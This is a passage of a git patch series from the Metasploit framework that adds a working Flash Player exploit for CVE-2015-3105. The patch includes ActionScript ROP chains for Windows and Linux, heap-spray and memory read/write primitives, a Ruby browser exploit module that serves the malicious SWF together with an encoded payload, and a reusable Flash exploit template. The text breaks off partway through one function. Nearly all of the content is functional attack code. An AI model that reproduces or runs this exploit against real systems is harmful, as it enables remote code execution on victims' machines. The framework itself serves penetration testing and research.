memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2015-3105/Logger.as b/external/source/exploits/CVE-2015-3105/Logger.as new file mode 100644 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2015-3105/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2015-3105/PE.as b/external/source/exploits/CVE-2015-3105/PE.as new file mode 100644 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2015-3105/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-3105/pbsrc_bin.pbj b/external/source/exploits/CVE-2015-3105/pbsrc_bin.pbj new file mode 100755 index 0000000000000000000000000000000000000000..a2e85456c920211dc74cbb8655946a06804eb32b GIT binary patch literal 7415 zcmd^^L2DCH5Xa{wX;L9#4m}iXU=Ka?&_f!drcf|~1qBs_Dhdj&*-f))b`y5f;&DGp z6ZCs{@%sq9dGbGRpHkM&A$XiXnEdBIZ{Fm08hGCf5q;gD`R6PhUN#dy4zsyG4C$r) z&}H)?OoCbZS8rZ~X%@{AGVp>h8>Z2G!P*^Ing&sAKFcD`o}_+~jb>@=+nQA)j*_?j z^gN^=zi@HsvrZ1J{4YhT;~QG7lUp@{aO9s)7e%{AInn=oL7*lP=#mx$n-YS1Y7jIf z1U)qfS`vc$Y7lHm2p*_Guq`2Ys0P7~grKhmfhQq2RD)nwLU7Pg!(dNjaG-|4zQ{n& zg4hum=-Ci^A_F}uVqavSXGc5|8R%IO2O<MKTjCRufu1$-smMUjp7>m1(ABdiz7iSe z*%MDh2730ycOnBld*TO?fu23_lgL2Lo>&j4dh^Rl7kgq|d|N5MtFT77^nOx)J7K-5 zul+`{G$tS;%!{4Q{L^t+sh!fDAX`v7q*g%RsfzfR2Gkx=D`bs$%o_QT^PiRc7bXAo zHJ{IIKy%-H&W|a#eGxnE+!(J??Dw31i|gU<6?(w+l`##tj{D&!8N^*z&%QzZZPwN& zsvx#XzIV;%Io?3?J@1P;+aG%H(VgRa*!N3*=zQjZxpJ;UzhXY<KmX6=Jp&(go}EA9 z`kdMk*V~A^jrd<Vbtm+b-@+;rx{By7wa@6vAXX74tfx*RvTu-|avq0|a1YPB#hl!I r&|cro%l&!Y?Lymmz|GrXz3yDN|BUBCv~$I7E<`&Q@-feKTFmzw={9gJ literal 0 HcmV?d00001 diff --git a/external/source/exploits/CVE-2015-3105/test_bin.pbj b/external/source/exploits/CVE-2015-3105/test_bin.pbj new file mode 100755 index 0000000000000000000000000000000000000000..7d1b65af5d4683e966db77adcb129f02f1c1ff6b GIT binary patch literal 985 zcmbV}&1%9x6opSF6BB<x_eGGtfwubwq}z7aZ3!j?K@&-$l&<n9D($ALK7zhc!ChB9 zcP5~8Q*<CXo-_A;b0>Z{0Nypqq$t;&G@2*HBAO(4IAdYmStV(l<^OeI9jubPm}V&) zHpNLX$)}4_{5i*M90hcqAD87g%kmf-M?2_FvRRf7X}IYwvT0h5uvPPE`V`HU32$i^ zqv+K}_iunaTNNiS(Q;NEE5|<&l0wIjhL@A%R70{e-CRyGGb!z&8y6+|8hhXiimK2P zKh##~PjU}?lQ&R#2r<&AWG41i8awnG2sQm_?$I+JNKWlZ3;C?C;PNFL`cUfV*}p^I zv-Qd-_X8X}d_w!sfz(kOmd6P7{JrD+o}K^N!>y^~y*%E7Tyw9H&%?Q>;T?aG&p9fz zsD|fbAm`Y8cbfO=d?1Ks0IHd<Vyo2C?@sg3<UBu+@5v@DTsGA@sFmM^^91;oc@*#K z;|l#I4i43&2I5<_r^>#=yd}Beat^~aO0H3I`9J;TvcD-@s^PY4F4b_Ew}tCk{x6C6 BvX=k= literal 0 HcmV?d00001 diff --git a/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb b/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb new file mode 100644 index 0000000000..0de86549e6 --- /dev/null +++ b/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb @@ -0,0 +1,146 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Adobe Flash Player Drawing Fill Shader Memory Corruption', + 'Description' => %q{ + This module exploits a memory corruption happening when applying a Shader as a drawing fill + as exploited in the wild on June 2015. This module has been tested successfully on: + Windows 7 SP1 (32-bit), IE11 and Adobe Flash 17.0.0.188. + Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 17.0.0.188. + Windows 8.1, Firefox 38.0.5 and Adobe Flash 17.0.0.188. + Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.460. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Chris Evans', # Vulnerability discovery + 'Unknown', # Exploit in the wild + 'juan vazquez' # msf module + ], + 'References' => + [ + ['CVE', '2015-3105'], + ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-11.html'], + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/magnitude-exploit-kit-uses-newly-patched-adobe-vulnerability-us-canada-and-uk-are-most-at-risk/'], + ['URL', 'http://malware.dontneedcoffee.com/2015/06/cve-2015-3105-flash-up-to-1700188-and.html'], + ['URL', 'http://help.adobe.com/en_US/as3/dev/WSFDA04BAE-F6BC-43d9-BD9C-08D39CA22086.html'] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'Platform' => ['win', 'linux'], + 'Arch' => [ARCH_X86], + 'BrowserRequirements' => + { + :source => /script|headers/i, + :arch => ARCH_X86, + :os_name => lambda do |os| + os =~ OperatingSystems::Match::LINUX || + os =~ OperatingSystems::Match::WINDOWS_7 || + os =~ OperatingSystems::Match::WINDOWS_81 + end, + :ua_name => lambda do |ua| + case target.name + when 'Windows' + return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF + when 'Linux' + return true if ua == Msf::HttpClients::FF + end + + false + end, + :flash => lambda do |ver| + case target.name + when 'Windows' + return true if ver =~ /^17\./ && Gem::Version.new(ver) <= Gem::Version.new('17.0.0.188') + when 'Linux' + return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.460') + end + + false + end + }, + 'Targets' => + [ + [ 'Windows', + { + 'Platform' => 'win' + } + ], + [ 'Linux', + { + 'Platform' => 'linux' + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'May 12 2015', + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + + super + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status('Sending SWF...') + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + return + end + + print_status('Sending HTML...') + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + target_payload = get_payload(cli, target_info) + b64_payload = Rex::Text.encode_base64(target_payload) + os_name = target_info[:os_name] + + if target.name =~ /Windows/ + platform_id = 'win' + elsif target.name =~ /Linux/ + platform_id = 'linux' + end + + html_template = %Q|<html> + <body> + <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> + <param name="movie" value="<%=swf_random%>" /> + <param name="allowScriptAccess" value="always" /> + <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" /> + <param name="Play" value="true" /> + <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/> + </object> + </body> + </html> + | + + return html_template, binding() + end + + def create_swf + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3105', 'msf.swf') + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end +end From a87d4e5764d51cc1b3a8df1038cd9d4d93fd9c4e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 25 Jun 2015 13:52:57 -0500 Subject: [PATCH 0563/1013] Add flash_exploiter template --- external/source/flash_exploiter/Elf.as | 235 +++++++++++ external/source/flash_exploiter/Exploit.as | 48 +++ .../flash_exploiter/ExploitByteArray.as | 85 ++++ .../source/flash_exploiter/ExploitVector.as | 75 ++++ external/source/flash_exploiter/Exploiter.as | 399 ++++++++++++++++++ external/source/flash_exploiter/Logger.as | 32 ++ external/source/flash_exploiter/PE.as | 72 ++++ 7 files changed, 946 insertions(+) create mode 100644 external/source/flash_exploiter/Elf.as create mode 100755 external/source/flash_exploiter/Exploit.as create mode 100644 external/source/flash_exploiter/ExploitByteArray.as create mode 100644 external/source/flash_exploiter/ExploitVector.as create mode 100644 external/source/flash_exploiter/Exploiter.as create mode 100644 external/source/flash_exploiter/Logger.as create mode 100644 external/source/flash_exploiter/PE.as diff --git a/external/source/flash_exploiter/Elf.as b/external/source/flash_exploiter/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/flash_exploiter/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/flash_exploiter/Exploit.as b/external/source/flash_exploiter/Exploit.as new file mode 100755 index 0000000000..f0aa9102da --- /dev/null +++ b/external/source/flash_exploiter/Exploit.as @@ -0,0 +1,48 @@ +/* +Code to assist the creation of exploits for the trend of Flash vulnerabilities used in the wild along 2014/2015. + +It uses some ideas and code included on @hdarwin89 proof of concepts. + +* How to build: + 1. Download the AIRSDK, and use its compiler. + 2. Download the Flex SDK (4.6) + 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs) + (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) + 4. Build with: mxmlc -o msf.swf Exploit.as + +*/ + +package +{ + import flash.display.Sprite + import flash.display.LoaderInfo + import mx.utils.Base64Decoder + import flash.utils.ByteArray + + public class Exploit extends Sprite + { + private var uv:Vector.<uint> + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter + + public function Exploit() + { + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + /* + The exploit code here. The goal is to corrupt the uv vector length with 0x3fffffff or bigger. + */ + + exploiter = new Exploiter(this, platform, os, payload, uv, 0x13e) + } + } +} diff --git a/external/source/flash_exploiter/ExploitByteArray.as b/external/source/flash_exploiter/ExploitByteArray.as new file mode 100644 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/flash_exploiter/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/flash_exploiter/ExploitVector.as b/external/source/flash_exploiter/ExploitVector.as new file mode 100644 index 0000000000..18aa4778a0 --- /dev/null +++ b/external/source/flash_exploiter/ExploitVector.as @@ -0,0 +1,75 @@ +package +{ + public class ExploitVector + { + private var uv:Vector.<uint> + public var original_length:uint + + public function ExploitVector(v:Vector.<uint>, length:uint) + { + uv = v + original_length = length + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.<Object>[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/flash_exploiter/Exploiter.as b/external/source/flash_exploiter/Exploiter.as new file mode 100644 index 0000000000..ecbf56fac5 --- /dev/null +++ b/external/source/flash_exploiter/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector.<uint> = new Vector.<uint>(0x6400) + private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400) + private var spray:Vector.<Object> = new Vector.<Object>(90000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv, uv_length) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + 